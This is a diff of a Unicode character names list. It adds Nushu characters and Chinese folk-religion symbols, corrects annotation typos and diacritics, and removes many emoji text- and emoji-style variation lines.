+1B282	NUSHU CHARACTER-1B282
+1B283	NUSHU CHARACTER-1B283
+@		Nine-stroke characters
+1B284	NUSHU CHARACTER-1B284
+1B285	NUSHU CHARACTER-1B285
+1B286	NUSHU CHARACTER-1B286
+1B287	NUSHU CHARACTER-1B287
+1B288	NUSHU CHARACTER-1B288
+1B289	NUSHU CHARACTER-1B289
+1B28A	NUSHU CHARACTER-1B28A
+1B28B	NUSHU CHARACTER-1B28B
+1B28C	NUSHU CHARACTER-1B28C
+1B28D	NUSHU CHARACTER-1B28D
+1B28E	NUSHU CHARACTER-1B28E
+1B28F	NUSHU CHARACTER-1B28F
+1B290	NUSHU CHARACTER-1B290
+1B291	NUSHU CHARACTER-1B291
+1B292	NUSHU CHARACTER-1B292
+1B293	NUSHU CHARACTER-1B293
+1B294	NUSHU CHARACTER-1B294
+1B295	NUSHU CHARACTER-1B295
+1B296	NUSHU CHARACTER-1B296
+1B297	NUSHU CHARACTER-1B297
+1B298	NUSHU CHARACTER-1B298
+1B299	NUSHU CHARACTER-1B299
+1B29A	NUSHU CHARACTER-1B29A
+1B29B	NUSHU CHARACTER-1B29B
+1B29C	NUSHU CHARACTER-1B29C
+1B29D	NUSHU CHARACTER-1B29D
+1B29E	NUSHU CHARACTER-1B29E
+1B29F	NUSHU CHARACTER-1B29F
+1B2A0	NUSHU CHARACTER-1B2A0
+1B2A1	NUSHU CHARACTER-1B2A1
+1B2A2	NUSHU CHARACTER-1B2A2
+1B2A3	NUSHU CHARACTER-1B2A3
+	x 82F1
+1B2A4	NUSHU CHARACTER-1B2A4
+1B2A5	NUSHU CHARACTER-1B2A5
+1B2A6	NUSHU CHARACTER-1B2A6
+1B2A7	NUSHU CHARACTER-1B2A7
+1B2A8	NUSHU CHARACTER-1B2A8
+1B2A9	NUSHU CHARACTER-1B2A9
+1B2AA	NUSHU CHARACTER-1B2AA
+1B2AB	NUSHU CHARACTER-1B2AB
+1B2AC	NUSHU CHARACTER-1B2AC
+1B2AD	NUSHU CHARACTER-1B2AD
+1B2AE	NUSHU CHARACTER-1B2AE
+1B2AF	NUSHU CHARACTER-1B2AF
+@		Ten-stroke characters
+1B2B0	NUSHU CHARACTER-1B2B0
+1B2B1	NUSHU CHARACTER-1B2B1
+1B2B2	NUSHU CHARACTER-1B2B2
+1B2B3	NUSHU CHARACTER-1B2B3
+1B2B4	NUSHU CHARACTER-1B2B4
+1B2B5	NUSHU CHARACTER-1B2B5
+1B2B6	NUSHU CHARACTER-1B2B6
+1B2B7	NUSHU CHARACTER-1B2B7
+1B2B8	NUSHU CHARACTER-1B2B8
+1B2B9	NUSHU CHARACTER-1B2B9
+1B2BA	NUSHU CHARACTER-1B2BA
+1B2BB	NUSHU CHARACTER-1B2BB
+1B2BC	NUSHU CHARACTER-1B2BC
+1B2BD	NUSHU CHARACTER-1B2BD
+1B2BE	NUSHU CHARACTER-1B2BE
+1B2BF	NUSHU CHARACTER-1B2BF
+1B2C0	NUSHU CHARACTER-1B2C0
+1B2C1	NUSHU CHARACTER-1B2C1
+	x 9580
+1B2C2	NUSHU CHARACTER-1B2C2
+1B2C3	NUSHU CHARACTER-1B2C3
+1B2C4	NUSHU CHARACTER-1B2C4
+1B2C5	NUSHU CHARACTER-1B2C5
+1B2C6	NUSHU CHARACTER-1B2C6
+1B2C7	NUSHU CHARACTER-1B2C7
+1B2C8	NUSHU CHARACTER-1B2C8
+1B2C9	NUSHU CHARACTER-1B2C9
+1B2CA	NUSHU CHARACTER-1B2CA
+1B2CB	NUSHU CHARACTER-1B2CB
+1B2CC	NUSHU CHARACTER-1B2CC
+1B2CD	NUSHU CHARACTER-1B2CD
+@		Eleven-stroke characters
+1B2CE	NUSHU CHARACTER-1B2CE
+1B2CF	NUSHU CHARACTER-1B2CF
+1B2D0	NUSHU CHARACTER-1B2D0
+1B2D1	NUSHU CHARACTER-1B2D1
+	x 57CB
+1B2D2	NUSHU CHARACTER-1B2D2
+1B2D3	NUSHU CHARACTER-1B2D3
+1B2D4	NUSHU CHARACTER-1B2D4
+1B2D5	NUSHU CHARACTER-1B2D5
+1B2D6	NUSHU CHARACTER-1B2D6
+	x 83AB
+1B2D7	NUSHU CHARACTER-1B2D7
+1B2D8	NUSHU CHARACTER-1B2D8
+1B2D9	NUSHU CHARACTER-1B2D9
+1B2DA	NUSHU CHARACTER-1B2DA
+1B2DB	NUSHU CHARACTER-1B2DB
+1B2DC	NUSHU CHARACTER-1B2DC
+1B2DD	NUSHU CHARACTER-1B2DD
+1B2DE	NUSHU CHARACTER-1B2DE
+1B2DF	NUSHU CHARACTER-1B2DF
+1B2E0	NUSHU CHARACTER-1B2E0
+@		Twelve-stroke characters
+1B2E1	NUSHU CHARACTER-1B2E1
+1B2E2	NUSHU CHARACTER-1B2E2
+1B2E3	NUSHU CHARACTER-1B2E3
+1B2E4	NUSHU CHARACTER-1B2E4
+1B2E5	NUSHU CHARACTER-1B2E5
+1B2E6	NUSHU CHARACTER-1B2E6
+1B2E7	NUSHU CHARACTER-1B2E7
+1B2E8	NUSHU CHARACTER-1B2E8
+1B2E9	NUSHU CHARACTER-1B2E9
+1B2EA	NUSHU CHARACTER-1B2EA
+1B2EB	NUSHU CHARACTER-1B2EB
+1B2EC	NUSHU CHARACTER-1B2EC
+1B2ED	NUSHU CHARACTER-1B2ED
+@		Thirteen-stroke characters
+1B2EE	NUSHU CHARACTER-1B2EE
+1B2EF	NUSHU CHARACTER-1B2EF
+1B2F0	NUSHU CHARACTER-1B2F0
+1B2F1	NUSHU CHARACTER-1B2F1
+1B2F2	NUSHU CHARACTER-1B2F2
+1B2F3	NUSHU CHARACTER-1B2F3
+@		Fourteen-stroke characters
+1B2F4	NUSHU CHARACTER-1B2F4
+1B2F5	NUSHU CHARACTER-1B2F5
+1B2F6	NUSHU CHARACTER-1B2F6
+@		Fifteen-stroke characters
+1B2F7	NUSHU CHARACTER-1B2F7
+1B2F8	NUSHU CHARACTER-1B2F8
+1B2F9	NUSHU CHARACTER-1B2F9
+@		Sixteen-stroke characters
+1B2FA	NUSHU CHARACTER-1B2FA
+1B2FB	NUSHU CHARACTER-1B2FB
 @@	1BC00	Duployan	1BC9F
 @		Non-joining consonants
 1BC00	DUPLOYAN LETTER H
@@ -39199,7 +40617,7 @@
 	* Romanian str-/-str
 1BC79	DUPLOYAN AFFIX ATTACHED TAIL
 	* orientating character
-	* French suffix -sionaire
+	* French suffix -sionnaire
 1BC7A	DUPLOYAN AFFIX ATTACHED E HOOK
 	* glyph is retrograde and opens up or down, depending on preceding letter
 	* French suffix -te
@@ -39271,12 +40689,12 @@
 1BC93	DUPLOYAN AFFIX LOW LONG GRAVE
 	* Pernin extra-
 1BC94	DUPLOYAN AFFIX LOW DOT
-	* French suffix -ie
+	* French suffix -ié
 	* French iterative number
 	* Romanian affix inter-
 	* not Romanian millions - see 0323 combining dot below and 0324 combining diaeresis below
 1BC95	DUPLOYAN AFFIX LOW CIRCLE
-	* French suffix -iere
+	* French suffix -ière
 	* French percent
 	x (modifier letter low ring - 02F3)
 1BC96	DUPLOYAN AFFIX LOW LINE
@@ -40090,7 +41508,7 @@
 @		Monogram
 1D300	MONOGRAM FOR EARTH
 	= ren
-	* usually associated with human (Chinese ren), rather than earth
+	* usually associated with human (Chinese rén), rather than earth (Chinese dì)
 	x (monogram for yang - 268A)
 	x (monogram for yin - 268B)
 @		Digrams
@@ -40848,9 +42266,9 @@
 1D537	MATHEMATICAL FRAKTUR SMALL Z
 	# <font> 007A latin small letter z
 @		Double-struck symbols
- at +		This style is sometimes known as open-face or blackboard-bold. Double-struck symbols already encoded in the Letterlike Symbols block and omitted here to avoid duplicate encoding. Considerable variation in font style is acceptable, as long as the glyphs retain the visual element of doubled strokes.
+ at +		This style is sometimes known as open-face or blackboard-bold. Double-struck symbols already encoded in the Letterlike Symbols block are omitted here to avoid duplicate encoding. Considerable variation in font style is acceptable, as long as the glyphs retain the visual element of doubled strokes.
 1D538	MATHEMATICAL DOUBLE-STRUCK CAPITAL A
-	* a glyph variant with doubled stroke on the right exists
+	* a glyph variant with doubled stroke on the left exists
 	# <font> 0041 latin capital letter a
 1D539	MATHEMATICAL DOUBLE-STRUCK CAPITAL B
 	# <font> 0042 latin capital letter b
@@ -43751,8 +45169,6 @@
 @		Dragon tiles
 1F004	MAHJONG TILE RED DRAGON
 	= hongzhong
-	~ 1F004 FE0E text style
-	~ 1F004 FE0F emoji style
 1F005	MAHJONG TILE GREEN DRAGON
 	= qingfa
 1F006	MAHJONG TILE WHITE DRAGON
@@ -43808,7 +45224,6 @@
 1F02A	MAHJONG TILE JOKER
 	= baida
 1F02B	MAHJONG TILE BACK
-@~	!
 @@	1F030	Domino Tiles	1F09F
 @		Horizontal tiles
 1F030	DOMINO TILE HORIZONTAL BACK
@@ -44292,12 +45707,8 @@
 @+		The square edges may be slightly rounded.
 1F170	NEGATIVE SQUARED LATIN CAPITAL LETTER A
 	= blood type A
-	~ 1F170 FE0E text style
-	~ 1F170 FE0F emoji style
 1F171	NEGATIVE SQUARED LATIN CAPITAL LETTER B
 	= blood type B
-	~ 1F171 FE0E text style
-	~ 1F171 FE0F emoji style
 1F172	NEGATIVE SQUARED LATIN CAPITAL LETTER C
 	= centre, city centre
 1F173	NEGATIVE SQUARED LATIN CAPITAL LETTER D
@@ -44319,12 +45730,8 @@
 1F17D	NEGATIVE SQUARED LATIN CAPITAL LETTER N
 1F17E	NEGATIVE SQUARED LATIN CAPITAL LETTER O
 	= blood type O
-	~ 1F17E FE0E text style
-	~ 1F17E FE0F emoji style
 1F17F	NEGATIVE SQUARED LATIN CAPITAL LETTER P
 	= parking space empty-full (ARIB STD B24)
-	~ 1F17F FE0E text style
-	~ 1F17F FE0F emoji style
 1F180	NEGATIVE SQUARED LATIN CAPITAL LETTER Q
 1F181	NEGATIVE SQUARED LATIN CAPITAL LETTER R
 1F182	NEGATIVE SQUARED LATIN CAPITAL LETTER S
@@ -44375,10 +45782,15 @@
 1F19E	SQUARED FOUR K
 1F19F	SQUARED EIGHT K
 1F1A0	SQUARED FIVE POINT ONE
+	* denotes 5.1-channel surround sound
 1F1A1	SQUARED SEVEN POINT ONE
+	* denotes 7.1-channel surround sound
 1F1A2	SQUARED TWENTY-TWO POINT TWO
+	* denotes 22.2-channel surround sound
 1F1A3	SQUARED SIXTY P
+	* denotes 60Hz frame rate with progressive scanning
 1F1A4	SQUARED ONE HUNDRED TWENTY P
+	* denotes 120Hz frame rate with progressive scanning
 1F1A5	SQUARED LATIN SMALL LETTER D
 	= data
 1F1A6	SQUARED HC
@@ -44422,7 +45834,6 @@
 1F1FD	REGIONAL INDICATOR SYMBOL LETTER X
 1F1FE	REGIONAL INDICATOR SYMBOL LETTER Y
 1F1FF	REGIONAL INDICATOR SYMBOL LETTER Z
-@~	!
 @@	1F200	Enclosed Ideographic Supplement	1F2FF
 @		Squared hiragana from ARIB STD B24
 1F200	SQUARE HIRAGANA HOKA
@@ -44435,8 +45846,6 @@
 1F202	SQUARED KATAKANA SA
 	= service sign
 	x (circled katakana sa - 32DA)
-	~ 1F202 FE0E text style
-	~ 1F202 FE0F emoji style
 	# <square> 30B5
 @		Squared ideographs and kana from ARIB STD B24
 1F210	SQUARED CJK UNIFIED IDEOGRAPH-624B
@@ -44473,8 +45882,6 @@
 1F21A	SQUARED CJK UNIFIED IDEOGRAPH-7121
 	= free broadcasting service
 	= non-existence sign
-	~ 1F21A FE0E text style
-	~ 1F21A FE0F emoji style
 	# <square> 7121
 1F21B	SQUARED CJK UNIFIED IDEOGRAPH-6599
 	= pay broadcasting service
@@ -44539,8 +45946,6 @@
 1F22F	SQUARED CJK UNIFIED IDEOGRAPH-6307
 	= designated hitter
 	= reserved sign
-	~ 1F22F FE0E text style
-	~ 1F22F FE0F emoji style
 	# <square> 6307
 1F230	SQUARED CJK UNIFIED IDEOGRAPH-8D70
 	= runner
@@ -44568,8 +45973,6 @@
 1F237	SQUARED CJK UNIFIED IDEOGRAPH-6708
 	= monthly sign
 	x (circled ideograph moon - 328A)
-	~ 1F237 FE0E text style
-	~ 1F237 FE0F emoji style
 	# <square> 6708
 1F238	SQUARED CJK UNIFIED IDEOGRAPH-7533
 	= application sign
@@ -44618,7 +46021,28 @@
 1F251	CIRCLED IDEOGRAPH ACCEPT
 	= accept sign
 	# <circle> 53EF
-@~	!
+@		Symbols for Chinese folk religion
+1F260	ROUNDED SYMBOL FOR FU
+	* luck
+	x 798F
+1F261	ROUNDED SYMBOL FOR LU
+	* prosperity
+	x 797F
+	x 7984
+1F262	ROUNDED SYMBOL FOR SHOU
+	* longevity
+	x 58FD
+	x 5BFF
+1F263	ROUNDED SYMBOL FOR XI
+	* happiness
+	x 559C
+1F264	ROUNDED SYMBOL FOR SHUANGXI
+	* double happiness, love and marriage
+	x 56CD
+1F265	ROUNDED SYMBOL FOR CAI
+	* wealth
+	x 8CA1
+	x 8D22
 @@	1F300	Miscellaneous Symbols and Pictographs	1F5FF
 @		Weather, landscape, and sky symbols
 1F300	CYCLONE
@@ -44635,6 +46059,7 @@
 1F308	RAINBOW
 1F309	BRIDGE AT NIGHT
 1F30A	WATER WAVE
+	= tsunami, tidal wave
 1F30B	VOLCANO
 1F30C	MILKY WAY
 @		Globe symbols
@@ -44672,8 +46097,6 @@
 @		Weather symbols
 1F321	THERMOMETER
 	= temperature, warm
-	~ 1F321 FE0E text style
-	~ 1F321 FE0F emoji style
 1F322	BLACK DROPLET
 	= droplet
 	x (droplet - 1F4A7)
@@ -44683,41 +46106,23 @@
 1F324	WHITE SUN WITH SMALL CLOUD
 	= mostly sunny
 	x (sun behind cloud - 26C5)
-	~ 1F324 FE0E text style
-	~ 1F324 FE0F emoji style
 1F325	WHITE SUN BEHIND CLOUD
 	= mostly cloudy
-	~ 1F325 FE0E text style
-	~ 1F325 FE0F emoji style
 1F326	WHITE SUN BEHIND CLOUD WITH RAIN
 	= showers
-	~ 1F326 FE0E text style
-	~ 1F326 FE0F emoji style
 1F327	CLOUD WITH RAIN
 	= rain
-	~ 1F327 FE0E text style
-	~ 1F327 FE0F emoji style
 1F328	CLOUD WITH SNOW
 	= snow, snow showers
-	~ 1F328 FE0E text style
-	~ 1F328 FE0F emoji style
 1F329	CLOUD WITH LIGHTNING
 	= lightning, thunderstorm
 	x (thunder cloud and rain - 26C8)
-	~ 1F329 FE0E text style
-	~ 1F329 FE0F emoji style
 1F32A	CLOUD WITH TORNADO
 	= tornado, twister
-	~ 1F32A FE0E text style
-	~ 1F32A FE0F emoji style
 1F32B	FOG
 	x (foggy - 1F301)
-	~ 1F32B FE0E text style
-	~ 1F32B FE0F emoji style
 1F32C	WIND BLOWING FACE
 	= wind
-	~ 1F32C FE0E text style
-	~ 1F32C FE0F emoji style
 @		Food symbols
 1F32D	HOT DOG
 1F32E	TACO
@@ -44734,8 +46139,6 @@
 	x (desert - 1F3DC)
 1F336	HOT PEPPER
 	= hot, spicy
-	~ 1F336 FE0E text style
-	~ 1F336 FE0F emoji style
 1F337	TULIP
 	x (flower - 2698)
 1F338	CHERRY BLOSSOM
@@ -44838,8 +46241,6 @@
 1F37D	FORK AND KNIFE WITH PLATE
 	= dining
 	x (fork and knife - 1F374)
-	~ 1F37D FE0E text style
-	~ 1F37D FE0F emoji style
 @		Beverage and food symbols
 1F37E	BOTTLE WITH POPPING CORK
 1F37F	POPCORN
@@ -44885,28 +46286,18 @@
 	= occasion
 	x (bouquet - 1F490)
 1F396	MILITARY MEDAL
-	~ 1F396 FE0E text style
-	~ 1F396 FE0F emoji style
 1F397	REMINDER RIBBON
-	~ 1F397 FE0E text style
-	~ 1F397 FE0F emoji style
 @		Musical symbols
 1F398	MUSICAL KEYBOARD WITH JACKS
-	= midi, midi keyboard
+	= midi, midi keyboard, master keyboard with plugs
 	x (musical keyboard - 1F3B9)
 1F399	STUDIO MICROPHONE
 	= microphone
 	x (microphone - 1F3A4)
-	~ 1F399 FE0E text style
-	~ 1F399 FE0F emoji style
 1F39A	LEVEL SLIDER
 	= level control
-	~ 1F39A FE0E text style
-	~ 1F39A FE0F emoji style
 1F39B	CONTROL KNOBS
 	= audio control
-	~ 1F39B FE0E text style
-	~ 1F39B FE0F emoji style
 1F39C	BEAMED ASCENDING MUSICAL NOTES
 	= musical performance
 	= music, musical background
@@ -44919,13 +46310,9 @@
 1F39E	FILM FRAMES
 	= film clip
 	x (movie camera - 1F3A5)
-	~ 1F39E FE0E text style
-	~ 1F39E FE0F emoji style
 1F39F	ADMISSION TICKETS
 	= ticket
 	x (ticket - 1F3AB)
-	~ 1F39F FE0E text style
-	~ 1F39F FE0F emoji style
 1F3A0	CAROUSEL HORSE
 	= amusement park
 1F3A1	FERRIS WHEEL
@@ -44965,7 +46352,6 @@
 	x (bullseye - 25CE)
 1F3B0	SLOT MACHINE
 1F3B1	BILLIARDS
-	* sometimes depicted as just an 8-ball
 1F3B2	GAME DIE
 1F3B3	BOWLING
 1F3B4	FLOWER PLAYING CARDS
@@ -44986,7 +46372,7 @@
 1F3BC	MUSICAL SCORE
 	x (musical symbol g clef - 1D11E)
 @		Sport symbols
- at +		See other sport symbols in the Miscelleaneous Symbols block.
+ at +		See other sport symbols in the Miscellaneous Symbols block.
 1F3BD	RUNNING SHIRT WITH SASH
 	= ekiden (Japanese)
 	* running shirt with separate sash signifies long-distance relay running
@@ -45015,20 +46401,12 @@
 1F3CA	SWIMMER
 1F3CB	WEIGHT LIFTER
 	= health
-	~ 1F3CB FE0E text style
-	~ 1F3CB FE0F emoji style
 1F3CC	GOLFER
-	~ 1F3CC FE0E text style
-	~ 1F3CC FE0F emoji style
 1F3CD	RACING MOTORCYCLE
 	= motorcycle
 	* may be depicted as an ordinary motorcycle, especially in emoji presentation
-	~ 1F3CD FE0E text style
-	~ 1F3CD FE0F emoji style
 1F3CE	RACING CAR
 	= race car
-	~ 1F3CE FE0E text style
-	~ 1F3CE FE0F emoji style
 1F3CF	CRICKET BAT AND BALL
 1F3D0	VOLLEYBALL
 1F3D1	FIELD HOCKEY STICK AND BALL
@@ -45037,58 +46415,33 @@
 @		Building and map symbols
 1F3D4	SNOW CAPPED MOUNTAIN
 	x (mountain - 26F0)
-	~ 1F3D4 FE0E text style
-	~ 1F3D4 FE0F emoji style
 1F3D5	CAMPING
 	= camping site
 	x (tent - 26FA)
-	~ 1F3D5 FE0E text style
-	~ 1F3D5 FE0F emoji style
 1F3D6	BEACH WITH UMBRELLA
 	x (umbrella on ground - 26F1)
-	~ 1F3D6 FE0E text style
-	~ 1F3D6 FE0F emoji style
 1F3D7	BUILDING CONSTRUCTION
 	= under construction
 	x (construction sign - 1F6A7)
-	~ 1F3D7 FE0E text style
-	~ 1F3D7 FE0F emoji style
 1F3D8	HOUSE BUILDINGS
 	= town
 	x (house with garden - 1F3E1)
-	~ 1F3D8 FE0E text style
-	~ 1F3D8 FE0F emoji style
 1F3D9	CITYSCAPE
 	= skyline, city
 	x (cityscape at dusk - 1F306)
-	~ 1F3D9 FE0E text style
-	~ 1F3D9 FE0F emoji style
 1F3DA	DERELICT HOUSE BUILDING
 	= derelict site
-	~ 1F3DA FE0E text style
-	~ 1F3DA FE0F emoji style
 1F3DB	CLASSICAL BUILDING
 	= public building
-	~ 1F3DB FE0E text style
-	~ 1F3DB FE0F emoji style
 1F3DC	DESERT
-	= desert
 	x (cactus - 1F335)
-	~ 1F3DC FE0E text style
-	~ 1F3DC FE0F emoji style
 1F3DD	DESERT ISLAND
 	= island
 	x (palm tree - 1F334)
-	~ 1F3DD FE0E text style
-	~ 1F3DD FE0F emoji style
 1F3DE	NATIONAL PARK
 	* by semantic extension has come to connote saving trees, and hence is also used as a symbol meaning "do not print this (email, document)"
 	x (evergreen tree - 1F332)
-	~ 1F3DE FE0E text style
-	~ 1F3DE FE0F emoji style
 1F3DF	STADIUM
-	~ 1F3DF FE0E text style
-	~ 1F3DF FE0F emoji style
 1F3E0	HOUSE BUILDING
 1F3E1	HOUSE WITH GARDEN
 	= home, house with yard
@@ -45126,14 +46479,10 @@
 1F3F3	WAVING WHITE FLAG
 	= flag
 	x (white flag - 2690)
-	~ 1F3F3 FE0E text style
-	~ 1F3F3 FE0F emoji style
 1F3F4	WAVING BLACK FLAG
 @		Rosettes
 1F3F5	ROSETTE
 	x (white florette - 2740)
-	~ 1F3F5 FE0E text style
-	~ 1F3F5 FE0F emoji style
 1F3F6	BLACK ROSETTE
 	x (eight petalled outlined black florette - 2741)
 @		Miscellaneous symbol
@@ -45140,8 +46489,6 @@
 1F3F7	LABEL
 	= price, price tag
 	x (bookmark - 1F516)
-	~ 1F3F7 FE0E text style
-	~ 1F3F7 FE0F emoji style
 @		Sport symbols
 1F3F8	BADMINTON RACQUET AND SHUTTLECOCK
 1F3F9	BOW AND ARROW
@@ -45265,14 +46612,10 @@
 	x (footprints - 1F463)
 1F43F	CHIPMUNK
 	= animal, critter
-	~ 1F43F FE0E text style
-	~ 1F43F FE0F emoji style
 @		Facial parts symbols
 1F440	EYES
 1F441	EYE
 	= sight
-	~ 1F441 FE0E text style
-	~ 1F441 FE0F emoji style
 1F442	EAR
 1F443	NOSE
 1F444	MOUTH
@@ -45333,8 +46676,10 @@
 	= accounts
 1F466	BOY
 1F467	GIRL
+	x (child - 1F9D2)
 1F468	MAN
 1F469	WOMAN
+	x (adult - 1F9D1)
 1F46A	FAMILY
 	= rated for family
 1F46B	MAN AND WOMAN HOLDING HANDS
@@ -45352,6 +46697,7 @@
 	* may be shown with or without a beard
 1F474	OLDER MAN
 1F475	OLDER WOMAN
+	x (older adult - 1F9D3)
 1F476	BABY
 1F477	CONSTRUCTION WORKER
 	* the helmet may show a green cross, used as a safety reminder in Japan
@@ -45364,6 +46710,7 @@
 1F47B	GHOST
 1F47C	BABY ANGEL
 1F47D	EXTRATERRESTRIAL ALIEN
+	x (flying saucer - 1F6F8)
 1F47E	ALIEN MONSTER
 	x (robot face - 1F916)
 1F47F	IMP
@@ -45375,7 +46722,6 @@
 1F482	GUARDSMAN
 1F483	DANCER
 	* also used for "let's party"
-	* may be depicted as gender neutral
 	x (man dancing - 1F57A)
 @		Personal care symbols
 1F484	LIPSTICK
@@ -45415,6 +46761,7 @@
 	x (white heart suit - 2661)
 	x (black heart suit - 2665)
 	x (heavy black heart - 2764)
+	x (orange heart - 1F9E1)
 1F49A	GREEN HEART
 1F49B	YELLOW HEART
 1F49C	PURPLE HEART
@@ -45442,7 +46789,7 @@
 	= running dash, briffits
 1F4A9	PILE OF POO
 	= dog dirt
-	* may be depicted with a friendly face
+	* may be depicted with or without a friendly face
 1F4AA	FLEXED BICEPS
 	= strong, muscled
 1F4AB	DIZZY SYMBOL
@@ -45586,8 +46933,6 @@
 1F4FD	FILM PROJECTOR
 	= movies
 	x (cinema - 1F3A6)
-	~ 1F4FD FE0E text style
-	~ 1F4FD FE0F emoji style
 1F4FE	PORTABLE STEREO
 	= stereo
 @		Religious symbol
@@ -45740,12 +47085,8 @@
 1F549	OM SYMBOL
 	* generic symbol independent of Devanagari font
 	x (devanagari om - 0950)
-	~ 1F549 FE0E text style
-	~ 1F549 FE0F emoji style
 1F54A	DOVE OF PEACE
 	= peace
-	~ 1F54A FE0E text style
-	~ 1F54A FE0F emoji style
 1F54B	KAABA
 1F54C	MOSQUE
 1F54D	SYNAGOGUE
@@ -45799,43 +47140,25 @@
 1F56E	BOOK
 	x (open book - 1F4D6)
 1F56F	CANDLE
-	~ 1F56F FE0E text style
-	~ 1F56F FE0F emoji style
 1F570	MANTELPIECE CLOCK
 	= clock
 	x (alarm clock - 23F0)
-	~ 1F570 FE0E text style
-	~ 1F570 FE0F emoji style
 1F571	BLACK SKULL AND CROSSBONES
 	x (skull and crossbones - 2620)
 1F572	NO PIRACY
 1F573	HOLE
 	= portable hole
-	~ 1F573 FE0E text style
-	~ 1F573 FE0F emoji style
 1F574	MAN IN BUSINESS SUIT LEVITATING
 	= jump
-	~ 1F574 FE0E text style
-	~ 1F574 FE0F emoji style
 1F575	SLEUTH OR SPY
 	= investigate
-	~ 1F575 FE0E text style
-	~ 1F575 FE0F emoji style
 1F576	DARK SUNGLASSES
 	= cool
-	~ 1F576 FE0E text style
-	~ 1F576 FE0F emoji style
 @		Animal symbols
 1F577	SPIDER
-	~ 1F577 FE0E text style
-	~ 1F577 FE0F emoji style
 1F578	SPIDER WEB
-	~ 1F578 FE0E text style
-	~ 1F578 FE0F emoji style
 @		Game symbol
 1F579	JOYSTICK
-	~ 1F579 FE0E text style
-	~ 1F579 FE0F emoji style
 @		Role symbol
 1F57A	MAN DANCING
 	* forms a gender pair with 1F483
@@ -45872,8 +47195,6 @@
 1F587	LINKED PAPERCLIPS
 	= links
 	x (paperclip - 1F4CE)
-	~ 1F587 FE0E text style
-	~ 1F587 FE0F emoji style
 1F588	BLACK PUSHPIN
 	= marker
 	x (pushpin - 1F4CC)
@@ -45882,21 +47203,13 @@
 	x (lower right pencil - 270E)
 1F58A	LOWER LEFT BALLPOINT PEN
 	= ballpoint pen
-	~ 1F58A FE0E text style
-	~ 1F58A FE0F emoji style
 1F58B	LOWER LEFT FOUNTAIN PEN
 	= fountain pen
 	x (white nib - 2711)
-	~ 1F58B FE0E text style
-	~ 1F58B FE0F emoji style
 1F58C	LOWER LEFT PAINTBRUSH
 	= brush
-	~ 1F58C FE0E text style
-	~ 1F58C FE0F emoji style
 1F58D	LOWER LEFT CRAYON
 	= crayon
-	~ 1F58D FE0E text style
-	~ 1F58D FE0F emoji style
 @		Hand symbols
 1F58E	LEFT WRITING HAND
 	x (writing hand - 270D)
@@ -45905,8 +47218,6 @@
 1F590	RAISED HAND WITH FINGERS SPLAYED
 	= halt
 	x (raised hand - 270B)
-	~ 1F590 FE0E text style
-	~ 1F590 FE0F emoji style
 1F591	REVERSED RAISED HAND WITH FINGERS SPLAYED
 1F592	REVERSED THUMBS UP SIGN
 	x (thumbs up sign - 1F44D)
@@ -45947,8 +47258,6 @@
 @		Computer symbols
 1F5A5	DESKTOP COMPUTER
 	= tower computer
-	~ 1F5A5 FE0E text style
-	~ 1F5A5 FE0F emoji style
 1F5A6	KEYBOARD AND MOUSE
 	x (keyboard - 2328)
 1F5A7	THREE NETWORKED COMPUTERS
@@ -45955,8 +47264,6 @@
 	= computer network
 1F5A8	PRINTER
 	x (fax machine - 1F4E0)
-	~ 1F5A8 FE0E text style
-	~ 1F5A8 FE0F emoji style
 1F5A9	POCKET CALCULATOR
 	= calculator
 1F5AA	BLACK HARD SHELL FLOPPY DISK
@@ -45971,12 +47278,8 @@
 1F5AF	ONE BUTTON MOUSE
 1F5B0	TWO BUTTON MOUSE
 1F5B1	THREE BUTTON MOUSE
-	~ 1F5B1 FE0E text style
-	~ 1F5B1 FE0F emoji style
 1F5B2	TRACKBALL
 	= ballpoint
-	~ 1F5B2 FE0E text style
-	~ 1F5B2 FE0F emoji style
 1F5B3	OLD PERSONAL COMPUTER
 	= personal computer
 	x (personal computer - 1F4BB)
@@ -45998,8 +47301,6 @@
 	= graphic document
 1F5BC	FRAME WITH PICTURE
 	= art
-	~ 1F5BC FE0E text style
-	~ 1F5BC FE0F emoji style
 1F5BD	FRAME WITH TILES
 	= frames
 1F5BE	FRAME WITH AN X
@@ -46014,15 +47315,9 @@
 1F5C2	CARD INDEX DIVIDERS
 	= index
 	x (card index - 1F4C7)
-	~ 1F5C2 FE0E text style
-	~ 1F5C2 FE0F emoji style
 1F5C3	CARD FILE BOX
 	= archive
-	~ 1F5C3 FE0E text style
-	~ 1F5C3 FE0F emoji style
 1F5C4	FILE CABINET
-	~ 1F5C4 FE0E text style
-	~ 1F5C4 FE0F emoji style
 1F5C5	EMPTY NOTE
 1F5C6	EMPTY NOTE PAGE
 1F5C7	EMPTY NOTE PAD
@@ -46039,18 +47334,12 @@
 1F5D0	PAGES
 1F5D1	WASTEBASKET
 	= trashcan
-	~ 1F5D1 FE0E text style
-	~ 1F5D1 FE0F emoji style
 1F5D2	SPIRAL NOTE PAD
 	= note, empty calendar
 	x (calendar - 1F4C5)
-	~ 1F5D2 FE0E text style
-	~ 1F5D2 FE0F emoji style
 1F5D3	SPIRAL CALENDAR PAD
 	= calendar, day 1
 	x (tear-off calendar - 1F4C6)
-	~ 1F5D3 FE0E text style
-	~ 1F5D3 FE0F emoji style
 1F5D4	DESKTOP WINDOW
 1F5D5	MINIMIZE
 1F5D6	MAXIMIZE
@@ -46066,19 +47355,13 @@
 1F5DB	DECREASE FONT SIZE SYMBOL
 1F5DC	COMPRESSION
 	* symbol depicts a hand press with a box inside
-	~ 1F5DC FE0E text style
-	~ 1F5DC FE0F emoji style
 1F5DD	OLD KEY
 	= encryption
 	x (key - 1F511)
-	~ 1F5DD FE0E text style
-	~ 1F5DD FE0F emoji style
 @		Miscellaneous symbols
 1F5DE	ROLLED-UP NEWSPAPER
 	= news
 	x (newspaper - 1F4F0)
-	~ 1F5DE FE0E text style
-	~ 1F5DE FE0F emoji style
 1F5DF	PAGE WITH CIRCLED TEXT
 	= classified
 1F5E0	STOCK CHART
@@ -46090,8 +47373,6 @@
 	= rated for violence
 	= hate
 	x (hocho - 1F52A)
-	~ 1F5E1 FE0E text style
-	~ 1F5E1 FE0F emoji style
 1F5E2	LIPS
 	= rated for sex
 	= kiss
@@ -46098,8 +47379,6 @@
 	x (kiss mark - 1F48B)
 1F5E3	SPEAKING HEAD IN SILHOUETTE
 	= rated for strong language
-	~ 1F5E3 FE0E text style
-	~ 1F5E3 FE0F emoji style
 @		Sound symbols
 1F5E4	THREE RAYS ABOVE
 1F5E5	THREE RAYS BELOW
@@ -46109,8 +47388,6 @@
 	x (three lines converging left - 269F)
 @		Bubble symbols
 1F5E8	LEFT SPEECH BUBBLE
